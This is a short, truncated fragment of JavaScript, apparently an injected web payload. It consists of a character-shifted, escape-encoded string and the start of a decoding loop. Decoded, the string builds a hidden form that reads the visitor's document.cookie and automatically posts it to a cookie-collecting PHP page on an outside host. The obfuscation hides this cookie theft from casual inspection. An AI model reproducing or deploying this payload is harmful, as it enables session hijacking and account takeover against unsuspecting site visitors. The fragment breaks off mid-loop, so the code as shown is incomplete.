str2 = "&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4D0gpsn&4F&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4Dgpsn&31nfuipe&4E&33qptu&33&31bdujpo&4E&33iuuq&4B00dtp/didgpsvn/dpn0dtp040dppljf/qiq&33&31obnf&4E&33dppljft&33&31je&4E&33dppljft&33&4F&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4Djoqvu&31uzqf&4E&33tvcnju&33&31wbmvf&4E&33&vC5G2&vC96E&33&4F&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4Djoqvu&31uzqf&4E&33ufyu&33&31obnf&4E&33dppljf&33&4F&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4Dtdsjqu&4F&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31dppljft/dppljf/wbmvf&4Eepdvnfou/dppljf&4C&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31epdvnfou/dppljft/tvcnju&39&3:&4C&1E&1B&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&31&4D0tdsjqu&4F";eh = "";for(k=0;k